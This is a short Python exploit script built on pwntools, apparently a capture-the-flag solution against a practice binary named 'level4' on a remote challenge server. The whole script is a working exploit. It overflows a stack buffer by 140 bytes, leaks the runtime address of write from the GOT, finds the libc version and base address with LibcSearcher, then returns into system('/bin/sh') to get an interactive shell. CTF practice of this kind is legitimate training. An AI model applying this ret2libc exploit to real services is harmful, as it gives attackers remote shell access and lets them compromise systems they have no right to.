from pwn import *
from LibcSearcher import *

context(os='linux',arch='i386',log_level='debug')
# io  = remote('192.168.95.131',10001)
io = remote('node4.buuoj.cn',25573)

elf = ELF('./level4')
pause()

main_addr = elf.symbols["main"]
write_got_addr = elf.got["write"]
write_plt_addr = elf.plt["write"]

payload = flat(b"A"*140, write_plt_addr, main_addr,0x1,write_got_addr,0x10)

io.sendline(payload)

real_write_addr = io.recv(4)
real_write_addr = real_write_addr.ljust(4,b"\x00")
real_write_addr = u32(real_write_addr)
print(hex(real_write_addr))

libc = LibcSearcher("write", real_write_addr)
base_addr = real_write_addr - libc.dump("write")
real_system_addr = base_addr + libc.dump("system")
real_str_bin_sh_addr = base_addr + libc.dump("str_bin_sh")

payload = flat(b"A"*140, real_system_addr, main_addr,real_str_bin_sh_addr)
io.sendline(payload)

io.interactive()